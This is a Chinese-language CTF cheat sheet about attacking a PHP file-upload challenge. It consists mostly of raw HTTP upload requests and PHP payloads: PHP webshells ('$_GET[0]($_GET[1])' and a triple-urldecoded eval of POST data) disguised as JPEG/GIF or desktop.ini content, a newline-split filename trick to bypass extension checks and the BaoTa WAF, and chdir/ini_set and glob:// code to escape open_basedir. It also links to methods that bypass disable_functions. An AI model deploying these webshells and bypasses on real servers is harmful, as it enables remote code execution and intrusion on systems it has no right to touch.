0x00:上傳繞字尾的姿勢

方法1：檔名14.\np\nh\np繞過（如下0x01的方法1所示）

方法2：後來發現 0a汙染就能傳php了（https://ha1c9on.top/2020/10/09/xhlj-web/

0x01:繞過寶塔waf檢測的檔案內容書寫

方法1：檔名14.\np\nh\np繞過，用個deskop.ini做一下汙染 寫馬。

POST /sandbox/i9pkda6liup7jd81uouov1agud/index.php HTTP/1.1
Host: upload.f28a18.challenge.gcsis.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15
 
; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------31678586230937453831944973480
Content-Length: 561
Origin: 
 
http://upload.f28a18.challenge.gcsis.cn
Connection: close
Referer: http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/index.php
Cookie: PHPSESSID=i9pkda6liup7jd81uouov1agud; dasctf_sign_cookie=19a5c3663736071e6e03dec07fccc64a; dasctf_sign_javascript=ac0efff678a5740be048702812fb377a
Upgrade-Insecure-Requests: 1

-----------------------------31678586230937453831944973480
Content-Disposition: form-data; name="file"; filename="14.
p
h
p"
Content-Type: image/jpeg

��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770
IconResource=%SystemRoot%\system32\imageres.dll,-112
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=-235

<? $_GET[0]($_GET[1]); phpinfo();?>


-----------------------------31678586230937453831944973480--
 

方法2：

測試後發現寶塔waf不能解析三次url編碼。。
<?php
eval(urldecode(urldecode(urldecode($_POST['ha1c9on']))));

方法3：實戰中收集的

POST /sandbox/qniqsah823r6ucvetcu1lt4jqp/index.php HTTP/1.1
Host: upload.c76b5a.challenge.gcsis.cn
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://upload.c76b5a.challenge.gcsis.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBnzp1nQO9cweRAeE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://upload.c76b5a.challenge.gcsis.cn/sandbox/qniqsah823r6ucvetcu1lt4jqp/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=1748fb8021e1a5-0ba0a1e1fa6337-15306251-1fa400-1748fb8021f9b0; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1; PHPSESSID=dhjn6me1bph963tssh9v1js8e5
Connection: close

------WebKitFormBoundaryBnzp1nQO9cweRAeE
Content-Disposition: form-data; name="file"; filename="llllll.php"
Content-Type: image/gif

GIF89a                  
<%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%><%%>....... <?php phpinfo();?>
------WebKitFormBoundaryBnzp1nQO9cweRAeE--

0x02:繞過open_basedir限制

方法1：先繞一下 讀取目錄看看

<?php
mkdir('suanve');chdir('suanve');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
var_dump(scandir("../../../../../../../../../../../../../".$_GET['dir']));

方法2：想辦法上傳成功，然後include這個檔案，就可以檢視根目錄檔案了

詳見p牛文章：https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

方法3：詳見https://skysec.top/2019/06/10/2019%200ctf%20final%20Web%20Writeup%EF%BC%881%EF%BC%89/

通過修改var_dump(glob('*'));來控制訪問路徑 詳見上文

chdir('/tmp');
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(ini_get('open_basedir'));
var_dump(glob('*'));

0x03:繞過disable_function

當發現phpinfo頁面開啟了 fpm，可以用以下的連結

打fpm繞過disable_function

https://skysec.top/2019/06/10/2019%200ctf%20final%20Web%20Writeup%EF%BC%881%EF%BC%89/ （2019 0ctf final Web Writeup

https://www.anquanke.com/post/id/186186#h3-5（位元組跳動的CTF比賽blog）

（或者直接上蟻劍的外掛庫）

https://www.mi1k7ea.com/2019/08/03/%E4%BB%8E%E8%9A%81%E5%89%91%E6%8F%92%E4%BB%B6%E7%9C%8B%E5%88%A9%E7%94%A8PHP-FPM%E7%BB%95%E8%BF%87disable-functions/

還有其他題的這種情況利用linux提供的LD_preload環境變數，劫持共享so

https://blog.csdn.net/mochu7777777/article/details/105136633/